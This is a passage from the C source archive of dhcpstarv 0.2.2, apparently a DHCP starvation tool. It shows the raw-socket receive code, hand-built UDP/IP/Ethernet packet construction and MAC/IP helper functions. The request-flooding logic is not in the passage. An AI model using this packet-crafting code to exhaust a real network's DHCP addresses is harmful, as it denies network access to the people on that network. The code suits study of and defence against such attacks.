} /* * Create socket for DHCP server replies. Return socket descriptor or -1 on * error. */ int create_recv_socket() { int sock = -1; int sockopt; // int flags; // if (-1 == (sock = socket(PF_PACKET, SOCK_DGRAM, htons(ETH_P_ALL)))) { if (-1 == (sock = socket(PF_PACKET, SOCK_DGRAM, htons(ETH_P_IP)))) { log_err("Error: can not create recv socket (%s)", strerror(errno)); return -1; } sockopt = 1; if (0 != setsockopt(sock, SOL_SOCKET, SO_BROADCAST, &sockopt, sizeof(sockopt))) { log_err("Error: can not set recv socket options (%s)", strerror(errno)); close(sock); return -1; } /* FIXME: do we realy need nonblocking socket? */ /* if (-1 == (flags = fcntl(sock, F_GETFL))) { log_err("can not get socket flags (%s)", strerror(errno)); close(sock); return -1; } else { if (-1 == fcntl(sock, F_SETFL, flags | O_NONBLOCK)) { log_err("can not set socket flags (%s)", strerror(errno)); close(sock); return -1; } } */ return sock; } /* * Block until DHCP reply is read from socket. `xid' identifies replies we're * waiting. Return 0 if successful. */ int read_dhcp_from_socket(int sock, unsigned int xid, struct dhcp_packet* dhcp, long timeout) { int ret = -1; fd_set rfds; struct timeval read_timeout; int select_ret; int read_bytes = 0; unsigned char buffer[8196]; struct dhcp_packet* recv_dhcp; time_t start_time = time(NULL); uint32_t server_id; assert(sock != -1); assert(dhcp); assert(timeout > 0); FD_ZERO(&rfds); while (1) { FD_SET(sock, &rfds); memset(&read_timeout, 0, sizeof(read_timeout)); read_timeout.tv_sec = timeout; log_debug("'select' on receiving socket started"); select_ret = select(sock + 1, &rfds, NULL, NULL, &read_timeout); log_debug("'select' on receiving socket returned"); if (select_ret == -1) { ret = -2; goto Out; } else if (select_ret == 0) { goto Out; } else { read_bytes = read(sock, buffer, sizeof(buffer)); log_debug("%d bytes read from socket", read_bytes); if (0 == dhcp_msg(buffer, sizeof(buffer), &recv_dhcp) && recv_dhcp->op == DHCP_OP_BOOTREPLY && recv_dhcp->xid == xid) { /* checking if reply must be ignored */ if (0 != dhcp_get_option(recv_dhcp, DHCP_OPT_SERVERID, &server_id, sizeof(server_id), NULL)) { log_err("no server ID in reply"); return -1; } if (server_id == opts.exclude_server) { log_verbose("ignoring server %s", get_ip_str(server_id)); continue; } memcpy(dhcp, recv_dhcp, sizeof(struct dhcp_packet)); break; } else { if (start_time < (time(NULL) - (time_t) timeout)) { goto Out; } } } } ret = 0; Out: if (ret == -2) { log_err("socket error while waiting for incoming data (%s)", strerror(errno)); } else if (ret == -1) { log_verbose("timeout while waiting for incoming data " "(%u seconds)", timeout); } return ret; } dhcpstarv-0.2.2/src/sock.h000066400000000000000000000017421263001657200154160ustar00rootroot00000000000000/* * sock.h: network functions. * * Copyright (C) 2007 Dmitry Davletbaev * * This program is free software: you can redistribute it and/or modify it under * the terms of the GNU General Public License as published by the Free Software * Foundation, either version 3 of the License, or (at your option) any later * version. * * This program is distributed in the hope that it will be useful, but WITHOUT * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * details. * * You should have received a copy of the GNU General Public License along with * this program. If not, see . */ #ifndef DHCP_SOCKETS #define DHCP_SOCKETS struct dhcp_packet; int create_send_socket(); int create_recv_socket(); int read_dhcp_from_socket(int sock, unsigned int xid, struct dhcp_packet* dhcp, long timeout); #endif /* DHCP_SOCKETS */ dhcpstarv-0.2.2/src/udp.c000066400000000000000000000102021263001657200152310ustar00rootroot00000000000000/* * udp.c: UDP headers and functions. * * Copyright (C) 2007 Dmitry Davletbaev * * This program is free software: you can redistribute it and/or modify it under * the terms of the GNU General Public License as published by the Free Software * Foundation, either version 3 of the License, or (at your option) any later * version. * * This program is distributed in the hope that it will be useful, but WITHOUT * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * details. * * You should have received a copy of the GNU General Public License along with * this program. If not, see . */ #include #include #include #include #include #include #include #include #include "udp.h" #include "ip.h" #include "ether.h" /* * Return UDP checksum (header and payload). `words' contains number of 2-byte * words stored in `data'. `srchost' and `dsthost' are source and destination IP * address respectively (network byte order). `udplen' is UDP header and data * length in bytes without padding byte (host byte order). */ unsigned short udp_csum(unsigned short* data, int words, unsigned int srchost, unsigned int dsthost, unsigned short udplen) { unsigned int sum, i; /* UDP pseudo-header for checksum computation */ struct udp_pseudo_hdr { uint32_t srchost; uint32_t dsthost; uint8_t zero; uint8_t proto; uint16_t length; } pseudohdr; unsigned short* pseudoptr = (unsigned short*) &pseudohdr; assert(data); assert(words > 0); memset(&pseudohdr, 0, sizeof(pseudohdr)); pseudohdr.srchost = srchost; pseudohdr.dsthost = dsthost; pseudohdr.proto = IPPROTO_UDP; pseudohdr.length = htons(udplen); /* * This code is the same as in ip_csum except that UDP pseudoheader is * calculated also. */ sum = 0; for (i = 0; i < sizeof(pseudohdr) / 2; i++) sum += pseudoptr[i]; for (i = 0; i < words; i++) sum += data[i]; sum += sum >> 16; return ~sum; } /* * Initialize UDP packet and store data for sending in `buffer'. Return size of * data in `buffer' of -1 on error. * * Before call `data' contains actual data for sending (UDP payload) and * `datalen' its length. `srcmac' and `dstmac' are source and destination * hardware addresses (at least ETH_ALEN bytes long). `srchost' and `dsthost' * are source and destination IP addresses (network byte order). `srcport' and * `dstport' are source and destination ports (network byte order). */ size_t init_udp_packet(unsigned char* buffer, size_t bufflen, const void* data, size_t datalen, const unsigned char* srcmac, unsigned int srchost, unsigned short srcport, const unsigned char* dstmac, unsigned int dsthost, unsigned short dstport) { size_t packet_len; unsigned short udplen; int udppadded = 0; /* header and data pointers */ struct ethhdr* eth = (struct ethhdr*) buffer; struct iphdr* ip = (struct iphdr*)(buffer + sizeof(struct ethhdr)); struct udphdr* udp = (struct udphdr*)(buffer + sizeof(struct ethhdr) + sizeof(struct iphdr)); unsigned char* udpdata = (unsigned char*) udp + sizeof(struct udphdr); assert(buffer); assert(bufflen > 0); assert(data); assert(datalen > 0); assert(srcmac); assert(dstmac); /* whole packet length */ packet_len = sizeof(struct ethhdr) + sizeof(struct iphdr) + sizeof(struct udphdr) + datalen; /* UDP packet and data length */ udplen = sizeof(struct udphdr) + datalen; /* if data length is odd add padding byte to compute UDP checksum */ if (datalen % 2 != 0) { packet_len ++; udplen ++; udppadded = 1; } if (packet_len > bufflen) return -1; memset(buffer, 0, packet_len); memcpy(udpdata, data, datalen); udp->source = srcport; udp->dest = dstport; udp->len = htons(udplen); udp->check = udp_csum((unsigned short*) udp, udplen / 2, srchost, dsthost, udppadded ? udplen - 1 : udplen); init_ip_header(ip, sizeof(struct udphdr) + datalen, IPPROTO_UDP, srchost, dsthost); init_ether_header(eth, srcmac, dstmac); return packet_len; } dhcpstarv-0.2.2/src/udp.h000066400000000000000000000020731263001657200152450ustar00rootroot00000000000000/* * udp.h: UDP headers and functions. * * Copyright (C) 2007 Dmitry Davletbaev * * This program is free software: you can redistribute it and/or modify it under * the terms of the GNU General Public License as published by the Free Software * Foundation, either version 3 of the License, or (at your option) any later * version. * * This program is distributed in the hope that it will be useful, but WITHOUT * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * details. * * You should have received a copy of the GNU General Public License along with * this program. If not, see . */ #ifndef UDP_PROTO #define UDP_PROTO size_t init_udp_packet(unsigned char* buffer, size_t bufflen, const void* data, size_t datalen, const unsigned char* srcmac, unsigned int srchost, unsigned short srcport, const unsigned char* dstmac, unsigned int dsthost, unsigned short dstport); #endif /* UDP_PROTO */ dhcpstarv-0.2.2/src/utils.c000066400000000000000000000055621263001657200156160ustar00rootroot00000000000000/* * utils.c: utility functions. * * Copyright (C) 2007 Dmitry Davletbaev * * This program is free software: you can redistribute it and/or modify it under * the terms of the GNU General Public License as published by the Free Software * Foundation, either version 3 of the License, or (at your option) any later * version. * * This program is distributed in the hope that it will be useful, but WITHOUT * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * details. * * You should have received a copy of the GNU General Public License along with * this program. If not, see . */ #include #include #include #include #include #include "utils.h" #include "dhcp.h" static char tmp_mac[50]; /* * Initialise sockaddr_in structure with IP specified in `ip' and port specified * in `port'. This function is not for strings supplied by user so no error * checking performed. */ void init_addr(struct sockaddr_in* addr, const char* ip, unsigned short port) { assert(addr); memset(addr, 0, sizeof(struct sockaddr_in)); addr->sin_family = AF_INET; addr->sin_port = htons(port); if (ip != NULL) inet_aton(ip, &addr->sin_addr); } /* * Convert IP specified as string to integer (in network order). This function * is not for strings supplied by user so no error checking performed. Return IP * address in network byte order or 0 on error. */ unsigned int strip_to_int(const char* ip) { struct sockaddr_in addr; assert(ip); if (0 == inet_aton(ip, &addr.sin_addr)) return 0; else return addr.sin_addr.s_addr; } /* * Return hardware address as string. */ const char* mac_to_str(const unsigned char* mac) { int i; char tmp[50]; assert(mac); memset(tmp, 0, sizeof(tmp)); memset(tmp_mac, 0, sizeof(tmp_mac)); for (i = 0; i < DHCP_HLEN_ETHER; i++) { sprintf(tmp, (i == 0) ? "%02x" : ":%02x", mac[i]); strcat(tmp_mac, tmp); } return tmp_mac; } /* * Convert string with MAC (for example `00:14:78:04:de:e0' to byte array. * Return 0 if successful or -1 if bad string format or not enough room in * `mac'. */ int str_to_mac(const char* str, unsigned char* mac, size_t macsize) { unsigned char tmpmac[6]; int enough = (macsize >= sizeof(tmpmac)); int converted; assert(str); assert(mac); converted = sscanf(str, "%hhx:%hhx:%hhx:%hhx:%hhx:%hhx", &tmpmac[0], &tmpmac[1], &tmpmac[2], &tmpmac[3], &tmpmac[4], &tmpmac[5]); if (converted != sizeof(tmpmac)) return -1; memset(mac, 0, macsize); memcpy(mac, tmpmac, enough ? sizeof(tmpmac) : macsize); return !enough; } /* * Return IP address as string. */ const char* get_ip_str(unsigned int ip) { struct sockaddr_in addr; addr.sin_addr.s_addr = ip; return inet_ntoa(addr.sin_addr); } dhcpstarv-0.2.2/src/utils.h000066400000000000000000000021301263001657200156070ustar00rootroot00000000000000/* * utils.h: utility functions. * * Copyright (C) 2007 Dmitry Davletbaev * * This program is free software: you can redistribute it and/or modify it under * the terms of the GNU General Public License as published by the Free Software * Foundation, either version 3 of the License, or (at your option) any later * version. * * This program is distributed in the hope that it will be useful, but WITHOUT * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * details. * * You should have received a copy of the GNU General Public License along with * this program. If not, see . */ #ifndef UTILS_FUNCTIONS #define UTILS_FUNCTIONS void init_addr(struct sockaddr_in* addr, const char* ip, unsigned short port); unsigned int strip_to_int(const char* ip); const char* mac_to_str(const unsigned char* mac); int str_to_mac(const char* str, unsigned char* mac, size_t macsize); const char* get_ip_str(unsigned int ip); #endif /* UTILS_FUNCTIONS */